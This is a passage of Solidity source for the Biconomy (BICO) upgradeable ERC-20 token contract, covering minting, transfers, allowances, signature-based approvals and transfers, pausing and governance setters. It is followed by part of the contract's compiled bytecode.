_mintingAllowedAfter, address indexed actor); /** * @dev Emitted when minimum time between mints is changed through governance * * Note that `_minimumTimeBetweenMints` may be zero. `actor` is msg.sender for this action. */ event MinimumTimeBetweenMintsChanged(uint32 indexed _minimumTimeBetweenMints, address indexed actor); /** * @dev Emitted when mint cap is changed through governance * * Note that `_mintCap` may be zero. `actor` is msg.sender for this action. */ event MintCapChanged(uint8 indexed _mintCap, address indexed actor); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Initializes the contract */ function initialize(address beneficiary, address trustedForwarder, address governor, address accessControlAdmin, address pauser, address minter) public initializer { __BicoTokenImplementation_init_unchained(accessControlAdmin,pauser,minter); _mint(beneficiary, 1000000000 * 10 ** decimals()); __ERC2771Context_init(trustedForwarder); __Pausable_init(); __AccessControl_init(); __Governed_init(governor); __ReentrancyGuard_init(); _initializedVersion = 0; mintingAllowedAfter = 0; minimumTimeBetweenMints = 1 days * 365; mintCap = 2; } function __BicoTokenImplementation_init_unchained(address accessControlAdmin, address pauser, address minter) internal initializer { _name = "Biconomy Token"; _symbol = "BICO"; _setupRole(DEFAULT_ADMIN_ROLE, accessControlAdmin); _setupRole(PAUSER_ROLE, pauser); _setupRole(MINTER_ROLE, minter); // EIP-712 domain separator DOMAIN_SEPARATOR = keccak256( abi.encode( DOMAIN_TYPE_HASH, keccak256("Biconomy Token"), keccak256("1"), address(this), bytes32(getChainId()) ) ); } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual nonReentrant whenNotPaused returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual nonReentrant whenNotPaused returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual nonReentrant whenNotPaused returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "BICO:: ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual nonReentrant whenNotPaused returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual nonReentrant whenNotPaused returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "BICO:: ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "BICO:: ERC20: transfer from the zero address"); require(recipient != address(0), "BICO:: ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "BICO:: ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "BICO:: ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } //there is no public burn() method in V0 /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "BICO:: ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "BICO:: ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "BICO:: ERC20: approve from the zero address"); require(spender != address(0), "BICO:: ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Increments the nonce of given user/batch pair * @dev Updates the highestBatchId of the given user if the request's batchId > current highest * @dev only intended to be called post call execution * @param _user : owner or sender address * @param _batchId : batch Id */ function _updateNonce(address _user, uint256 _batchId) internal { nonces[_user][_batchId]++; } /** * @dev Approve token allowance by validating a message signed by the holder. * @param _owner Address of the token holder * @param _spender Address of the approved spender * @param _value Amount of tokens to approve the spender * @param _batchId Batch Id. pass this 0 if batching is not needed. * @param _deadline Expiration time of the signed approval * @param _v Signature version * @param _r Signature r value * @param _s Signature s value */ function approveWithSig( uint8 _v, bytes32 _r, bytes32 _s, uint256 _deadline, address _owner, uint256 _batchId, address _spender, uint256 _value ) public virtual nonReentrant whenNotPaused { bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256( abi.encode( APPROVE_TYPEHASH, _owner, _spender, _value, _batchId, nonces[_owner][_batchId], _deadline ) ) ) ); address recoveredAddress = ECDSA.recover(digest, abi.encodePacked(_r, _s, _v)); require(recoveredAddress != address(0), "BICO:: invalid signature"); require(_owner == recoveredAddress, "BICO:: invalid approval:Unauthorized"); require(_deadline == 0 || block.timestamp <= _deadline, "BICO:: expired approval"); _updateNonce(_owner,_batchId); _approve(_owner, _spender, _value); } /** * @dev Transfer tokens by validating a message signed by the sender. * @param _sender Address of the token sender * @param _recipient Address of the token recipient * @param _amount Amount of tokens to transfer * @param _batchId Batch Id. pass this 0 if batching is not needed. * @param _deadline Expiration time of the signed approval * @param _v Signature version * @param _r Signature r value * @param _s Signature s value */ function transferWithSig( uint8 _v, bytes32 _r, bytes32 _s, uint256 _deadline, address _sender, uint256 _batchId, address _recipient, uint256 _amount ) public virtual nonReentrant whenNotPaused { bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256( abi.encode( TRANSFER_TYPEHASH, _sender, _recipient, _amount, _batchId, nonces[_sender][_batchId], _deadline ) ) ) ); address recoveredAddress = ECDSA.recover(digest, abi.encodePacked(_r, _s, _v)); require(recoveredAddress != address(0), "BICO:: invalid signature"); require(_sender == recoveredAddress, "BICO:: invalid transfer:Unauthorized"); require(_deadline == 0 || block.timestamp <= _deadline, "BICO:: expired transfer"); _updateNonce(_sender,_batchId); _transfer(_sender, _recipient, _amount); } function pause() public onlyRole(PAUSER_ROLE) { _pause(); } function unpause() public onlyRole(PAUSER_ROLE) { _unpause(); } function setTrustedForwarder(address payable _forwarder) external onlyGovernor { require(_forwarder != address(0), "BICO:: Invalid address for new trusted forwarder"); _trustedForwarder = _forwarder; emit TrustedForwarderChanged(_forwarder, msg.sender); } function setMintingAllowedAfter(uint _mintingAllowedAfter) external onlyGovernor { mintingAllowedAfter = _mintingAllowedAfter; emit MintingAllowedAfterChanged(_mintingAllowedAfter,msg.sender); } function setMinimumTimeBetweenMints(uint32 _minimumTimeBetweenMints) external onlyGovernor { minimumTimeBetweenMints = _minimumTimeBetweenMints; emit MinimumTimeBetweenMintsChanged(_minimumTimeBetweenMints,msg.sender); } function setMintCap(uint8 _mintCap) external onlyGovernor { mintCap = _mintCap; emit MintCapChanged(_mintCap, msg.sender); } function getChainId() internal view returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106102685760003560e01c806376c71ca111610151578063c9f10f8c116100c3578063da74222811610087578063da742228146105dc578063dd62ed3e146105ef578063e3056a3414610629578063e63ab1e91461063c578063f2fde38b14610651578063f4bd65bd1461066457600080fd5b8063c9f10f8c14610555578063cc2a9a5b1461057c578063d2d2070a1461058f578063d5391393146105a2578063d547741f146105c957600080fd5b8063a217fddf11610115578063a217fddf146104da578063a457c2d7146104e2578063a8d0e88b146104f5578063a9059cbb14610508578063b9635d371461051b578063c0993eea1461052e57600080fd5b806376c71ca11461049957806379ba5097146104af5780638456cb59146104b757806391d14854146104bf57806395d89b41146104d257600080fd5b8063313ce567116101ea57806356c022bb116101ae57806356c022bb146103ea578063572b6c05146104035780635c11d62f1461042b5780635c975abb146104515780636372399d1461045c57806370a082311461046f57600080fd5b8063313ce5671461037b57806336568abe1461039057806339509351146103a35780633f4ba83a146103b6578063502e1a16146103be57600080fd5b806318160ddd1161023157806318160ddd1461031d57806323b872dd14610326578063248a9ca3146103395780632f2ff15d1461035c57806330b36cef1461037157600080fd5b8062bf26f41461026d57806301ffc9a7146102a757806306fdde03146102ca578063095ea7b3146102df5780630c340a24146102f2575b600080fd5b6102947f686fbd6610c8f2133a627d2140507a1a8a8d2442934fd36a02a684ab8eb5401a81565b6040519081526020015b60405180910390f35b6102ba6102b53660046129a7565b610677565b604051901515815260200161029e565b6102d26106ae565b60405161029e9190612b37565b6102ba6102ed366004612940565b610741565b60c854610305906001600160a01b031681565b6040516001600160a01b03909116815260200161029e565b61013054610294565b6102ba610334366004612900565b6107b6565b61029461034736600461296b565b60009081526096602052604090206001015490565b61036f61036a366004612983565b6108e0565b005b6102946101335481565b60125b60405160ff909116815260200161029e565b61036f61039e366004612983565b61090b565b6102ba6103b1366004612940565b610990565b61036f610a30565b6102946103cc366004612940565b61013660209081526000928352604080842090915290825290205481565b600054610305906201000090046001600160a01b031681565b6102ba61041136600461282b565b6000546201000090046001600160a01b0390811691161490565b6101345461043c9063ffffffff1681565b60405163ffffffff909116815260200161029e565b60325460ff166102ba565b61036f61046a3660046129cf565b610a54565b61029461047d36600461282b565b6001600160a01b0316600090815261012d602052604090205490565b6101345461037e90640100000000900460ff1681565b61036f610ac6565b61036f610bd1565b6102ba6104cd366004612983565b610bf2565b6102d2610c1d565b610294600081565b6102ba6104f0366004612940565b610c2d565b61036f610503366004612a0d565b610d3e565b6102ba610516366004612940565b610fc6565b61036f610529366004612a0d565b611025565b6102947f36c25de3e541d5d970f66e4210d728721220fff5c077cc6cd008b3a0c62adab781565b6102947f3035db5a0c9fdeb4c85f3f85d64ed8a35f941ad181dbab9095decaca728a60cc81565b61036f61058a36600461287f565b61128c565b61036f61059d3660046129f3565b61137d565b6102947f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b61036f6105d7366004612983565b6113f7565b61036f6105ea36600461282b565b61141d565b6102946105fd366004612847565b6001600160a01b03918216600090815261012f6020908152604080832093909416825291909152205490565b60c954610305906001600160a01b031681565b610294600080516020612e4783398151915281565b61036f61065f36600461282b565b611508565b61036f61067236600461296b565b6115da565b60006001600160e01b03198216637965db0b60e01b14806106a857506301ffc9a760e01b6001600160e01b03198316145b92915050565b606061013180546106be90612dc5565b80601f01602080910402602001604051908101604052809291908181526020018280546106ea90612dc5565b80156107375780601f1061070c57610100808354040283529160200191610737565b820191906000526020600020905b81548152906001019060200180831161071a57829003601f168201915b5050505050905090565b6000600260fb54141561076f5760405162461bcd60e51b815260040161076690612c26565b60405180910390fd5b600260fb5560325460ff16156107975760405162461bcd60e51b815260040161076690612bef565b6107a96107a261163a565b8484611666565b5060018060fb5592915050565b6000600260fb5414156107db5760405162461bcd60e51b815260040161076690612c26565b600260fb5560325460ff16156108035760405162461bcd60e51b815260040161076690612bef565b61080e84848461179a565b6001600160a01b038416600090815261012f602052604081208161083061163a565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156108bb5760405162461bcd60e51b815260206004820152602f60248201527f4249434f3a3a2045524332303a207472616e7366657220616d6f756e7420657860448201526e636565647320616c6c6f77616e636560881b6064820152608401610766565b6108cf856108c761163a565b858403611666565b6001915050600160fb559392505050565b6000828152609660205260409020600101546108fc8133611980565b61090683836119e4565b505050565b6001600160a01b03811633146109825760405162461bcd60e51b815260206004820152603660248201527f4249434f3a3a20416363657373436f6e74726f6c3a2063616e206f6e6c79207260448201527532b737bab731b2903937b632b9903337b91039b2b63360511b6064820152608401610766565b61098c8282611a4d565b5050565b6000600260fb5414156109b55760405162461bcd60e51b815260040161076690612c26565b600260fb5560325460ff16156109dd5760405162461bcd60e51b815260040161076690612bef565b6107a96109e861163a565b848461012f60006109f761163a565b6001600160a01b03908116825260208083019390935260409182016000908120918b1681529252902054610a2b9190612c5d565b611666565b600080516020612e47833981519152610a498133611980565b610a51611ab4565b50565b60c8546001600160a01b03163314610a7e5760405162461bcd60e51b815260040161076690612b6a565b610134805463ffffffff191663ffffffff83169081179091556040513391907fbc4a72fc9ac7b731b2d14d91ff68e54934c20a25706e38b3ea33a5bb04da37d490600090a350565b60c9546001600160a01b031615801590610aea575060c9546001600160a01b031633145b610b365760405162461bcd60e51b815260206004820152601f60248201527f43616c6c6572206d7573742062652070656e64696e6720676f7665726e6f72006044820152606401610766565b60c8805460c980546001600160a01b03198084166001600160a01b0383811691821790965591169091556040519290911691819083907f0ac6deed30eef60090c749850e10f2fa469e3e25fec1d1bef2853003f6e6f18f90600090a360c9546040516001600160a01b03918216918316907f76563ad561b7036ae716b9b25cb521b21463240f104c97e12f25877f2235f33d90600090a35050565b600080516020612e47833981519152610bea8133611980565b610a51611b46565b60009182526096602090815260408084206001600160a01b0393909316845291905290205460ff1690565b606061013280546106be90612dc5565b6000600260fb541415610c525760405162461bcd60e51b815260040161076690612c26565b600260fb5560325460ff1615610c7a5760405162461bcd60e51b815260040161076690612bef565b600061012f6000610c8961163a565b6001600160a01b0390811682526020808301939093526040918201600090812091881681529252902054905082811015610d1a5760405162461bcd60e51b815260206004820152602c60248201527f4249434f3a3a2045524332303a2064656372656173656420616c6c6f77616e6360448201526b652062656c6f77207a65726f60a01b6064820152608401610766565b610d2e610d2561163a565b85858403611666565b6001915050600160fb5592915050565b600260fb541415610d615760405162461bcd60e51b815260040161076690612c26565b600260fb5560325460ff1615610d895760405162461bcd60e51b815260040161076690612bef565b610135546001600160a01b0385166000908152610136602090815260408083208784528252808320549051929392610def927f3035db5a0c9fdeb4c85f3f85d64ed8a35f941ad181dbab9095decaca728a60cc928a92899289928c9290918f9101612afb565b60405160208183030381529060405280519060200120604051602001610e2c92919061190160f01b81526002810192909252602282015260420190565b60408051601f1981840301815282825280516020918201209083018b90529082018990526001600160f81b031960f88c901b1660608301529150600090610e879083906061015b604051602081830303815290604052611ba6565b90506001600160a01b038116610eda5760405162461bcd60e51b81526020600482015260186024820152774249434f3a3a20696e76616c6964207369676e617475726560401b6044820152606401610766565b806001600160a01b0316866001600160a01b031614610f475760405162461bcd60e51b8152602060048201526024808201527f4249434f3a3a20696e76616c696420617070726f76616c3a556e617574686f726044820152631a5e995960e21b6064820152608401610766565b861580610f545750864211155b610fa05760405162461bcd60e51b815260206004820152601760248201527f4249434f3a3a206578706972656420617070726f76616c0000000000000000006044820152606401610766565b610faa8686611dd0565b610fb5868585611666565b5050600160fb555050505050505050565b6000600260fb541415610feb5760405162461bcd60e51b815260040161076690612c26565b600260fb5560325460ff16156110135760405162461bcd60e51b815260040161076690612bef565b6107a961101e61163a565b848461179a565b600260fb5414156110485760405162461bcd60e51b815260040161076690612c26565b600260fb5560325460ff16156110705760405162461bcd60e51b815260040161076690612bef565b610135546001600160a01b03851660009081526101366020908152604080832087845282528083205490519293926110d6927f686fbd6610c8f2133a627d2140507a1a8a8d2442934fd36a02a684ab8eb5401a928a92899289928c9290918f9101612afb565b6040516020818303038152906040528051906020012060405160200161111392919061190160f01b81526002810192909252602282015260420190565b60408051601f1981840301815282825280516020918201209083018b90529082018990526001600160f81b031960f88c901b166060830152915060009061115e908390606101610e73565b90506001600160a01b0381166111b15760405162461bcd60e51b81526020600482015260186024820152774249434f3a3a20696e76616c6964207369676e617475726560401b6044820152606401610766565b806001600160a01b0316866001600160a01b03161461121e5760405162461bcd60e51b8152602060048201526024808201527f4249434f3a3a20696e76616c6964207472616e736665723a556e617574686f726044820152631a5e995960e21b6064820152608401610766565b86158061122b5750864211155b6112775760405162461bcd60e51b815260206004820152601760248201527f4249434f3a3a2065787069726564207472616e736665720000000000000000006044820152606401610766565b6112818686611dd0565b610fb586858561179a565b600054610100900460ff16806112a5575060005460ff16155b6112c15760405162461bcd60e51b815260040161076690612ba1565b600054610100900460ff161580156112e3576000805461ffff19166101011790555b6112ee848484611e09565b611311876112fe6012600a612cb8565b61130c90633b9aca00612d63565b611fcd565b61131a866120bd565b611322612132565b61132a6121a5565b6113338561220c565b61133b61226c565b61012e805460ff19169055600061013355610134805464ffffffffff1916640201e133801790558015611374576000805461ff00191690555b50505050505050565b60c8546001600160a01b031633146113a75760405162461bcd60e51b815260040161076690612b6a565b610134805464ff00000000191664010000000060ff8416908102919091179091556040513391907f2c18dfa6258a96d94c959cf87037bcf6710f8a88d7666c0cedfe335c2011623790600090a350565b6000828152609660205260409020600101546114138133611980565b6109068383611a4d565b60c8546001600160a01b031633146114475760405162461bcd60e51b815260040161076690612b6a565b6001600160a01b0381166114b65760405162461bcd60e51b815260206004820152603060248201527f4249434f3a3a20496e76616c6964206164647265737320666f72206e6577207460448201526f393ab9ba32b2103337b93bb0b93232b960811b6064820152608401610766565b6000805462010000600160b01b031916620100006001600160a01b03841690810291909117825560405133927f06dff7401eb7fb04d241246ade7f817c7ad512b1bed61c18aedd9bc51eec047591a350565b60c8546001600160a01b031633146115325760405162461bcd60e51b815260040161076690612b6a565b6001600160a01b0381166115885760405162461bcd60e51b815260206004820152601b60248201527f4249434f3a3a20476f7665726e6f72206d7573742062652073657400000000006044820152606401610766565b60c980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f76563ad561b7036ae716b9b25cb521b21463240f104c97e12f25877f2235f33d90600090a35050565b60c8546001600160a01b031633146116045760405162461bcd60e51b815260040161076690612b6a565b610133819055604051339082907f71a6143544734267d7d0727a2879043d35a91d59d9d7b7ea47a8b71335aba31290600090a350565b600080546201000090046001600160a01b0316331415611661575060131936013560601c90565b503390565b6001600160a01b0383166116d05760405162461bcd60e51b815260206004820152602b60248201527f4249434f3a3a2045524332303a20617070726f76652066726f6d20746865207a60448201526a65726f206164647265737360a81b6064820152608401610766565b6001600160a01b0382166117385760405162461bcd60e51b815260206004820152602960248201527f4249434f3a3a2045524332303a20617070726f766520746f20746865207a65726044820152686f206164647265737360b81b6064820152608401610766565b6001600160a01b03838116600081815261012f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166118055760405162461bcd60e51b815260206004820152602c60248201527f4249434f3a3a2045524332303a207472616e736665722066726f6d207468652060448201526b7a65726f206164647265737360a01b6064820152608401610766565b6001600160a01b03821661186e5760405162461bcd60e51b815260206004820152602a60248201527f4249434f3a3a2045524332303a207472616e7366657220746f20746865207a65604482015269726f206164647265737360b01b6064820152608401610766565b6001600160a01b038316600090815261012d6020526040902054818110156118ee5760405162461bcd60e51b815260206004820152602d60248201527f4249434f3a3a2045524332303a207472616e7366657220616d6f756e7420657860448201526c63656564732062616c616e636560981b6064820152608401610766565b6001600160a01b03808516600090815261012d6020526040808220858503905591851681529081208054849290611926908490612c5d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161197291815260200190565b60405180910390a350505050565b61198a8282610bf2565b61098c576119a2816001600160a01b031660146122cb565b6119ad8360206122cb565b6040516020016119be929190612a86565b60408051601f198184030181529082905262461bcd60e51b825261076691600401612b37565b6119ee8282610bf2565b61098c5760008281526096602090815260408083206001600160a01b0385168085529252808320805460ff1916600117905551339285917f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d9190a45050565b611a578282610bf2565b1561098c5760008281526096602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b60325460ff16611b065760405162461bcd60e51b815260206004820152601b60248201527f4249434f3a3a205061757361626c653a206e6f742070617573656400000000006044820152606401610766565b6032805460ff191690556040513381527f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa906020015b60405180910390a1565b60325460ff1615611b695760405162461bcd60e51b815260040161076690612bef565b6032805460ff191660011790556040513381527f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25890602001611b3c565b60008151604114611c085760405162461bcd60e51b815260206004820152602660248201527f4249434f3a3a2045434453413a20696e76616c6964207369676e6174757265206044820152650d8cadccee8d60d31b6064820152608401610766565b60208201516040830151606084015160001a7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0821115611c9c5760405162461bcd60e51b815260206004820152602960248201527f4249434f3a3a2045434453413a20696e76616c6964207369676e6174757265206044820152682773272076616c756560b81b6064820152608401610766565b8060ff16601b1480611cb157508060ff16601c145b611d0f5760405162461bcd60e51b815260206004820152602960248201527f4249434f3a3a2045434453413a20696e76616c6964207369676e6174757265206044820152682776272076616c756560b81b6064820152608401610766565b6040805160008082526020820180845289905260ff841692820192909252606081018590526080810184905260019060a0016020604051602081039080840390855afa158015611d63573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116611dc65760405162461bcd60e51b815260206004820152601f60248201527f4249434f3a3a2045434453413a20696e76616c6964207369676e6174757265006044820152606401610766565b9695505050505050565b6001600160a01b0382166000908152610136602090815260408083208484529091528120805491611e0083612e00565b91905055505050565b600054610100900460ff1680611e22575060005460ff16155b611e3e5760405162461bcd60e51b815260040161076690612ba1565b600054610100900460ff16158015611e60576000805461ffff19166101011790555b60408051808201909152600e8082526d2134b1b7b737b6bc902a37b5b2b760911b6020909201918252611e96916101319161277c565b50604080518082019091526004808252634249434f60e01b6020909201918252611ec3916101329161277c565b50611ecf6000856124b4565b611ee7600080516020612e47833981519152846124b4565b611f117f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6836124b4565b604080517f36c25de3e541d5d970f66e4210d728721220fff5c077cc6cd008b3a0c62adab76020808301919091527f9131923bbe9ab80c6f2b845689f72dd4791586a685e0cb221d9bf13be72d2f36828401527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608301523060808301524660a0808401919091528351808403909101815260c09092019092528051910120610135558015611fc7576000805461ff00191690555b50505050565b6001600160a01b0382166120325760405162461bcd60e51b815260206004820152602660248201527f4249434f3a3a2045524332303a206d696e7420746f20746865207a65726f206160448201526564647265737360d01b6064820152608401610766565b8061013060008282546120459190612c5d565b90915550506001600160a01b038216600090815261012d602052604081208054839290612073908490612c5d565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600054610100900460ff16806120d6575060005460ff16155b6120f25760405162461bcd60e51b815260040161076690612ba1565b600054610100900460ff16158015612114576000805461ffff19166101011790555b61211d826124be565b801561098c576000805461ff00191690555050565b600054610100900460ff168061214b575060005460ff16155b6121675760405162461bcd60e51b815260040161076690612ba1565b600054610100900460ff16158015612189576000805461ffff19166101011790555b61219161254c565b8015610a51576000805461ff001916905550565b600054610100900460ff16806121be575060005460ff16155b6121da5760405162461bcd60e51b815260040161076690612ba1565b600054610100900460ff161580156121fc576000805461ffff19166101011790555b6122046125c1565b61219161261b565b600054610100900460ff1680612225575060005460ff16155b6122415760405162461bcd60e51b815260040161076690612ba1565b600054610100900460ff16158015612263576000805461ffff19166101011790555b61211d82612685565b600054610100900460ff1680612285575060005460ff16155b6122a15760405162461bcd60e51b815260040161076690612ba1565b600054610100900460ff161580156122c3576000805461ffff19166101011790555b61219161270c565b606060006122da836002612d63565b6122e5906002612c5d565b67ffffffffffffffff81111561230b57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612335576020820181803683370190505b509050600360fc1b8160008151811061235e57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600f60fb1b8160018151811061239b57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060006123bf846002612d63565b6123ca906001612c5d565b90505b600181111561245e576f181899199a1a9b1b9c1cb0b131b232b360811b85600f166010811061240c57634e487b7160e01b600052603260045260246000fd5b1a60f81b82828151811061243057634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c9361245781612dae565b90506123cd565b5083156124ad5760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401610766565b9392505050565b61098c82826119e4565b600054610100900460ff16806124d7575060005460ff16155b6124f35760405162461bcd60e51b815260040161076690612ba1565b600054610100900460ff16158015612515576000805461ffff19166101011790555b6000805462010000600160b01b031916620100006001600160a01b03851602179055801561098c576000805461ff00191690555050565b600054610100900460ff1680612565575060005460ff16155b6125815760405162461bcd60e51b815260040161076690612ba1565b600054610100900460ff161580156125a3576000805461ffff19166101011790555b6032805460ff191690558015610a51576000805461ff001916905550565b600054610100900460ff16806125da575060005460ff16155b6125f65760405162461bcd60e51b815260040161076690612ba1565b600054610100900460ff16158015612204576000805461ffff19166101011790556121915b600054610100900460ff1680612634575060005460ff16155b6126505760405162461bcd60e51b815260040161076690612ba1565b600054610100900460ff16158015612191576000805461ffff19166101011790558015610a51576000805461ff001916905550565b600054610100900460ff168061269e575060005460ff16155b6126ba5760405162461bcd60e51b815260040161076690612ba1565b600054610100900460ff161580156126dc576000805461ffff19166101011790555b60c880546001600160a01b0319166001600160a01b038416179055801561098c576000805461ff00191690555050565b600054610100900460ff1680612725575060005460ff16155b6127415760405162461bcd60e51b815260040161076690612ba1565b600054610100900460ff16158015612763576000805461ffff19166101011790555b600160fb558015610a51576000805461ff001916905550565b82805461278890612dc5565b90600052602060002090601f0160209004810192826127aa57600085556127f0565b82601f106127c357805160ff19168380011785556127f0565b828001600101855582156127f0579182015b828111156127f05782518255916020019190600101906127d5565b506127fc929150612800565b5090565b5b808211156127fc5760008155600101612801565b803560ff8116811461282657600080fd5b919050565b60006020828403121561283c578081fd5b81356124ad81612e31565b60008060408385031215612859578081fd5b823561286481612e31565b9150602083013561287481612e31565b809150509250929050565b60008060008060008060c08789031215612897578182fd5b86356128a281612e31565b955060208701356128b281612e31565b945060408701356128c281612e31565b935060608701356128d281612e31565b925060808701356128e281612e31565b915060a08701356128f281612e31565b809150509295509295509295565b600080600060608486031215612914578283fd5b833561291f81612e31565b9250602084013561292f81612e31565b929592945050506040919091013590565b60008060408385031215612952578182fd5b823561295d81612e31565b946020939093013593505050565b60006020828403121561297c578081fd5b5035919050565b60008060408385031215612995578182fd5b82359150602083013561287481612e31565b6000602082840312156129b8578081fd5b81356001600160e01b0319811681146124ad578182fd5b6000602082840312156129e0578081fd5b813563ffffffff811681146124ad578182fd5b600060208284031215612a04578081fd5b6124ad82612815565b600080600080600080600080610100898b031215612a29578182fd5b612a3289612815565b97506020890135965060408901359550606089013594506080890135612a5781612e31565b935060a0890135925060c0890135612a6e81612e31565b8092505060e089013590509295985092959890939650565b7f4249434f3a3a20416363657373436f6e74726f6c3a206163636f756e74200000815260008351612abe81601e850160208801612d82565b7001034b99036b4b9b9b4b733903937b6329607d1b601e918401918201528351612aef81602f840160208801612d82565b01602f019